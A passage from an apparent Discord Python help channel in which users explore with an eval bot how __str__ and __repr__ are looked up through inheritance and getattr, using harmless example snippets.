    pass
a = A()
print(a.__str__())
spice pecan
#

ah right, the classname and memory slot

fallen slateBOT
#

@grave jolt :white_check_mark: Your eval job has completed with return code 0.

<__main__.A object at 0x7f64c16bdf10>
whole glacier
#

Hmm, funny enough, it will still work with getattr

#

!e ```py
def str(obj):
return getattr(obj, 'str', obj.repr)()

class A:
def repr(self):
return 'hello'

print(str(A()))

fallen slateBOT
#

@whole glacier :white_check_mark: Your eval job has completed with return code 0.

hello
grave jolt
#

Are you in some conspiracy with ves_zappa? ๐Ÿค”

whole glacier
#

i has no idea what you talking about, promize

grave jolt
#

naming convention pride month

whole glacier
#

yep, definitely not just suddenly snake_cased my name 6h ago, nope

grave jolt
#

Well, that's expected.

#

!e

class A:
    x = 1

class B(A):
    pass

b = B()
print(b.x)
fallen slateBOT
#

@grave jolt :white_check_mark: Your eval job has completed with return code 0.

1
grave jolt
#

and object just has a __str__ method

whole glacier
#

Yep, but then shouldnt it call obj.__str__ then

#

in the py getattr(obj, '__str__', obj.__repr__)()

#

I was trying to get that first

grave jolt
#

!e

class A:
    pass

print(getattr(A, "__str__"))
fallen slateBOT
#

@grave jolt :white_check_mark: Your eval job has completed with return code 0.

<slot wrapper '__str__' of 'object' objects>
whole glacier
#

It does exist

spice pecan
#

It seems like you can check if __str__ is overriden(?) fairly easily

grave jolt
#

it will climb the MRO ladder in search of that attribute